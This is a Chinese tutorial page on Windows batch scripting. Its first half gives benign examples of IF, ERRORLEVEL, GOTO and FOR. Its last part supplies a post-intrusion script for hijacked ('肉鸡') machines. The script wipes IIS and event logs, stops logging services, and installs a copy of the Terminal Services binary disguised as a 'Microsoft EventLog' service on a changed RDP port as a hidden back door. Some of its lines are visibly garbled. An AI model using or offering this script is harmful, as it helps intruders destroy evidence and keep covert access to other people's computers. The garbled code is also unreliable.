Win_Windows批处理bat详解,含大量可用实例

【实例简介】

 

1. IF-EXIST 

1) 首先用记事本在C:\建立一个test1.bat批处理文件，文件内容如下： 

@echo off 

IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT 

IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist

 

然后运行它： 

C:\>TEST1.BAT 

如果C:\存在AUTOEXEC.BAT文件，那么它的内容就会被显示出来，如果不存在，批处理就会提示你该文件不存在。 

2) 接着再建立一个test2.bat文件，内容如下： 

@ECHO OFF 

IF EXIST \%1 TYPE \%1 

IF NOT EXIST \%1 ECHO \%1 does not exist

 

执行: 

C:\>TEST2 AUTOEXEC.BAT 

该命令运行结果同上。 

说明： 

(1) IF EXIST 是用来测试文件是否存在的，格式为 

IF EXIST [路径 文件名] 命令 

(2) test2.bat文件中的%1是参数，DOS允许传递9个批参数信息给批处理文件，分别为%1~%9(%0表示test2命令本身) ，这有点象编程中的实参和形参的关系，%1是形参，AUTOEXEC.BAT是实参。 

==== willsort 编注 ===========================================

DOS没有 "允许传递9个批参数信息" 的限制, 参数的个数只会受到命令行长度和所调用命令处理能力的限制. 但是, 我们在批处理程序中, 在同一时刻只能同时引用10个参数, 因为 DOS只给出了 %0~%9这十个参数引用符. 

=======================================================

3) 更进一步的，建立一个名为TEST3.BAT的文件，内容如下： 

@echo off 

IF "%1" == "A" ECHO XIAO 

IF "%2" == "B" ECHO TIAN 

IF "%3" == "C" ECHO XIN 

如果运行： 

C:\>TEST3 A B C 

屏幕上会显示: 

XIAO 

TIAN 

XIN 

如果运行： 

C:\>TEST3 A B 

屏幕上会显示 

XIAO 

TIAN 

在这个命令执行过程中，DOS会将一个空字符串指定给参数%3。 

2、IF-ERRORLEVEL 

建立TEST4.BAT，内容如下： 

@ECHO OFF 

XCOPY C:\AUTOEXEC.BAT D:\ 

IF ERRORLEVEL 1 ECHO 文件拷贝失败 

IF ERRORLEVEL 0 ECHO 成功拷贝文件

 

然后执行文件: 

C:\>TEST4 

如果文件拷贝成功，屏幕就会显示"成功拷贝文件"，否则就会显示"文件拷贝失败"。 

IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的，注意只是上一个命令的返回值，而且返回值必须依照从大到小次序顺序判断。 

因此下面的批处理文件是错误的： 

@ECHO OFF 

XCOPY C:\AUTOEXEC.BAT D:\ 

IF ERRORLEVEL 0 ECHO 成功拷贝文件 

IF ERRORLEVEL 1 ECHO 未找到拷贝文件 

IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作 

IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作 

IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误 

无论拷贝是否成功，后面的： 

未找到拷贝文件 

用户通过ctrl-c中止拷贝操作 

预置错误阻止文件拷贝操作 

拷贝过程中写盘错误 都将显示出来。 

几个常用命令的返回值及其代表的意义

backup 

0 备份成功 

1 未找到备份文件 

2 文件共享冲突阻止备份完成 

3 用户用ctrl-c中止备份 

4 由于致命的错误使备份操作中止 

diskcomp 

0 盘比较相同 

1 盘比较不同 

2 用户通过ctrl-c中止比较操作 

3 由于致命的错误使比较操作中止 

4 预置错误中止比较 

diskcopy 

0 盘拷贝操作成功 

1 非致命盘读/写错 

2 用户通过ctrl-c结束拷贝操作 

3 因致命的处理错误使盘拷贝中止 

4 预置错误阻止拷贝操作 

format 

0 格式化成功 

3 用户通过ctrl-c中止格式化处理 

4 因致命的处理错误使格式化中止 

5 在提示"proceed with format（y/n）?"下用户键入n结束 

xcopy 

0 成功拷贝文件 

1 未找到拷贝文件 

2 用户通过ctrl-c中止拷贝操作 

4 预置错误阻止文件拷贝操作 

5 拷贝过程中写盘错误 

chkdsk 

0 未找到错误 

255 找到一个或多个错误 

choice 

0 用户按下ctrl c/break 

1 用户按下第一个键 

255 检测到命令行中的错误条件 

其它 用户按下的有效字符在列表中的位置 

defrag 

0 碎片压缩成功 

1 出现内部错误 

2 磁盘上没有空簇。要运行DEFRAG，至少要有一个空簇 

3 用户用Ctrl C退出了DEFRAG 

4 出现一般性错误 

5 DEFRAG在读簇时遇到错误 

6 DEFRAG在写簇时遇到错误 

7 分配空间有错 

8 内存错 

9 没有足够空间来压缩磁盘碎片 

deltree 

0 成功地删除一个目录 

diskcomp 

0 两盘相同 

1 发现不同 

2 按CTRL C 终止了比较 

3 出现严重错误 

4 出现初始化错误 

find 

0 查找成功且至少找到了一个匹配的字符串 

1 查找成功但没找到匹配的字符串 

2 查找中出现了错误 

keyb 

0 键盘定义文件装入成功 

1 使用了非法的键盘代码，字符集或语法 

2 键盘定义文件坏或未找到 

4 键盘、监视器通讯时出错 

5 要求的字符集未准备好 

move 

0 成功地移动了指定的文件 

1 发生了错误 

msav /N 

86 检查到了病毒 

replace 

0 REPLACE成功地替换或加入了文件 

1 MS-DOS版本和REPLACE不兼容 

2 REPLACE找不到源文件 

3 REPLACE找不到源路径或目标路径 

5 不能存取要替换的文件 

8 内存不够无法执行REPLACE 

11 命令行句法错误 

restore 

0 RESTORE成功地恢复了文件 

1 RESTORE找不到要恢复的文件 

3 用户按CTRL C终止恢复过程 

4 RESTORE因错误而终止 

scandisk 

0 ScanDisk在它检查的驱动器上未检测到任何错误 

1 由于命令行的语法不对，不能运行ScanDisk 

2 由于内存用尽或发生内部错误，ScanDisk意外终止 

3 用户让ScanDisk中途退出 

4 进行盘面扫描时，用户决定提前退出 

254 ScanDisk找到磁盘故障并已全部校正 

255 ScanDisk找到磁盘故障，但未能全部校正 

setver 

0 SETVER成功地完成了任务 

1 用户指定了一个无效的命令开关 

2 用户指定了一个非法的文件名 

3 没有足够的系统内存来运行命令 

4 用户指定了一个非法的版本号格式 

5 SETVER在版本表中未找到指定的项 

6 SETVER未找到SETVER.EXE文件 

7 用户指定了一个非法的驱动器 

8 用户指定了太多的命令行参数 

9 SETVER检测到丢失了命令行参数 

10 在读SETVER.EXE文件时，SETVER检测到发生错误 

11 SETVER.EXE文件损坏 

12 指定的SETVER.EXE文件不支持版本表 

13 版本表中没有足够的空间存放新的项 

14 在写SETVER.EXE文件时SETVER检测到发生错误 

=======================================================

3、IF STRING1 == STRING2 

建立TEST5.BAT，文件内容如下： 

@echo off 

IF "%1" == "A" FORMAT A:

 

执行： 

C:\>TEST5 A 

屏幕上就出现是否将A:盘格式化的内容。 

注意：为了防止参数为空的情况，一般会将字符串用双引号（或者其它符号，注意不能使用保留符号）括起来。 

如：if [%1]==[A] 或者 if %1*==A* 

5、GOTO 

建立TEST6.BAT，文件内容如下： 

@ECHO OFF 

IF EXIST C:\AUTOEXEC.BAT GOTO _COPY 

GOTO _DONE 

:_COPY 

COPY C:\AUTOEXEC.BAT D:\ 

:_DONE

 

注意： 

(1) 标号前是ASCII字符的冒号":"，冒号与标号之间不能有空格。 

(2) 标号的命名规则与文件名的命名规则相同。 

(3) DOS支持最长八位字符的标号，当无法区别两个标号时，将跳转至最近的一个标号。 

==== willsort 编注 ===========================================

1)标号也称作标签(label) 

2)标签不能以大多数的非字母数字字符开始, 而文件名中则可以使用很多 

3)当无法区别两个标签时, 将跳转至位置最靠前的标签 

=======================================================

6、FOR 

建立C:\TEST7.BAT，文件内容如下： 

@ECHO OFF 

FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C

 

运行： 

C:\>TEST7 

执行以后，屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来（不包括隐藏文件）。        

【实例截图】

【核心代码】

 

1.删除win2k/xp系统默认共享的批处理 

　　------------------------ cut here then save as .bat or .cmd file --------------------------- 

　　@echo preparing to delete all the default shares.when ready pres any key. 

　　@pause 

　　@echo off 

　　:Rem check parameters if null show usage. 

　　if =={} goto :Usage 

　　:Rem code start. 

　　echo. 

　　echo ------------------------------------------------------ 

　　echo. 

　　echo Now deleting all the default shares. 

　　echo. 

　　net share %1$ /delete 

　　net share %2$ /delete 

　　net share %3$ /delete 

　　net share %4$ /delete 

　　net share %5$ /delete 

　　net share %6$ /delete 

　　net share %7$ /delete 

　　net share %8$ /delete 

　　net share %9$ /delete 

　　net stop Server 

　　net start Server 

　　echo. 

　　echo All the shares have been deleteed 

　　echo. 

　　echo ------------------------------------------------------ 

　　echo. 

　　echo Now modify the registry to change the system default properties. 

　　echo. 

　　echo Now creating the registry file 

　　echo Windows Registry Editor Version 5.00> c:\delshare.reg 

　　echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>> c:\delshare.reg 

　　echo "AutoShareWks"=dword:00000000>> c:\delshare.reg 

　　echo "AutoShareServer"=dword:00000000>> c:\delshare.reg 

　　echo Nowing using the registry file to chang the system default properties. 

　　regedit /s c:\delshare.reg 

　　echo Deleting the temprotarily files. 

　　del c:\delshare.reg 

　　goto :END 

　　:Usage 

　　echo. 

　　echo ------------------------------------------------------ 

　　echo. 

　　echo ☆ A example for batch file ☆ 

　　echo ☆ [Use batch file to change the sysytem share properties.] ☆ 

　　echo. 

　　echo Author：Ex4rch 

　　echo Mail:Ex4rch@hotmail.com 

　　echo. 

　　echo Error：Not enough parameters 

　　echo. 

　　echo ☆ Please enter the share disk you wanna delete ☆ 

　　echo. 

　　echo For instance，to delete the default shares: 

　　echo delshare c d e ipc admin print 

　　echo. 

　　echo If the disklable is not as C: D: E: ，Please chang it youself. 

　　echo. 

　　echo example： 

　　echo If locak disklable are C: D: E: X: Y: Z: ，you should chang the command into ： 

　　echo delshare c d e x y z ipc admin print 

　　echo. 

　　echo *** you can delete nine shares once in a useing *** 

　　echo. 

　　echo ------------------------------------------------------ 

　　goto :EOF 

　　:END 

　　echo. 

　　echo ------------------------------------------------------ 

　　echo. 

　　echo OK,delshare.bat has deleted all the share you assigned. 

　　echo.Any questions ,feel free to mail to Ex4rch@hotmail.com. 

　　echo 

　　echo. 

　　echo ------------------------------------------------------ 

　　echo. 

　　:EOF 

　　echo end of the batch file 


　　------------------------ cut here then save as .bat or .cmd file --------------------------- 

　　------------------------ cut here then save as .bat or .cmd file --------------------------- 

下面命令是清除肉鸡所有日志，禁止一些危险的服务，并修改肉鸡的terminnal service留跳后路。

　　@regedit /s patch.dll 

　　@net stop w3s_blank rel=nofollow>vc 

　　@net stop event log 

　　@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q 

　　@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q 

　　@del c:\winnt\system32\config\*.event /f /q 

　　@del c:\winnt\system32dtclog\*.* /f /q 

　　@del c:\winnt\*.txt /f /q 

　　@del c:\winnt\*.log /f /q 

　　@net start w3svc 

　　@net start event log 

　　@rem [删除日志] 

　　@net stop lanmanserver /y 

　　@net stop Schedule /y 

　　@net stop RemoteRegistry /y 

　　@del patch.dll 

　　@echo The server has been patched,Have fun. 

　　@del patch.bat 

　　@REM [禁止一些危险的服务。] 

　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>patch.dll 

　　@echo "PortNumber"=dword:00002010 >>patch.dll 

　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp >>patch.dll 

　　@echo "PortNumber"=dword:00002012 >>patch.dll 

　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll 

　　@echo "Start"=dword:00000002 >>patch.dll 

　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll 

　　@echo "Start"=dword:00000002 >>patch.dll 

　　@echo "ErrorControl"=dword:00000001 >>patch.dll 

　　@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll 

　　@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll 

　　@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll 

　　@echo "ObjectName"="LocalSystem" >>patch.dll 

　　@echo "Type"=dword:00000010 >>patch.dll 

　　@echo "Description"="Keep record of the program and windows message。" >>patch.dll 

　　@echo "DisplayName"="_blank rel=nofollow>Microsoft EventLog" >>patch.dll 

　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll 

　　@echo "Start"=dword:00000004 >>patch.dll 

　　@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe 

　　@REM [修改3389连接，端口为8210(十六进制为00002012)，名称为Microsoft EventLog，留条后路]